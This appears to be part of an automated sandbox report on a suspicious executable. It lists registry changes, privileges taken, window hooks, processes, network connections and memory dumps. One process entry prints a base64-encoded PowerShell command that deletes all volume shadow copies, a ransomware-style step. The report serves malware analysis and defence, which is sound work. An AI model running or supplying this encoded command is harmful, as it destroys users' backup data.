Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0" C:\Windows\System32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0" C:\Windows\System32\svchost.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.026112" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "1157726" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4012" C:\Windows\System32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "4" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0" C:\Windows\System32\svchost.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "12.964742" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion" C:\Windows\System32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "3864" C:\Windows\System32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config C:\Windows\System32\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe

"C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe"

C:\Windows\system32\MusNotifyIcon.exe

%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 settings-win.data.microsoft.com udp
NL 20.73.194.208:443 settings-win.data.microsoft.com tcp
NL 20.73.194.208:443 settings-win.data.microsoft.com tcp
NL 20.73.194.208:443 settings-win.data.microsoft.com tcp
NL 20.73.194.208:443 settings-win.data.microsoft.com tcp
US 8.238.111.254:80 tcp
NL 8.248.7.254:80 tcp
NL 104.80.224.57:443 tcp
NL 8.248.7.254:80 tcp
US 204.79.197.203:443 api.msn.com tcp
US 8.8.8.8:53 geo.prod.do.dsp.mp.microsoft.com udp
IE 20.54.24.246:443 geo.prod.do.dsp.mp.microsoft.com tcp
US 8.8.8.8:53 kv801.prod.do.dsp.mp.microsoft.com udp
NL 184.29.205.60:443 kv801.prod.do.dsp.mp.microsoft.com tcp
US 8.8.8.8:53 settings-win.data.microsoft.com udp
US 52.167.249.196:443 settings-win.data.microsoft.com tcp

Files

memory/64-130-0x0000000000050000-0x0000000000152000-memory.dmp

memory/64-131-0x00000000080F0000-0x0000000008110000-memory.dmp

memory/628-136-0x0000021E3A8D0000-0x0000021E3A8F2000-memory.dmp

memory/628-140-0x0000021E3A933000-0x0000021E3A935000-memory.dmp

memory/628-139-0x0000021E3A930000-0x0000021E3A932000-memory.dmp

memory/628-141-0x0000021E3A936000-0x0000021E3A938000-memory.dmp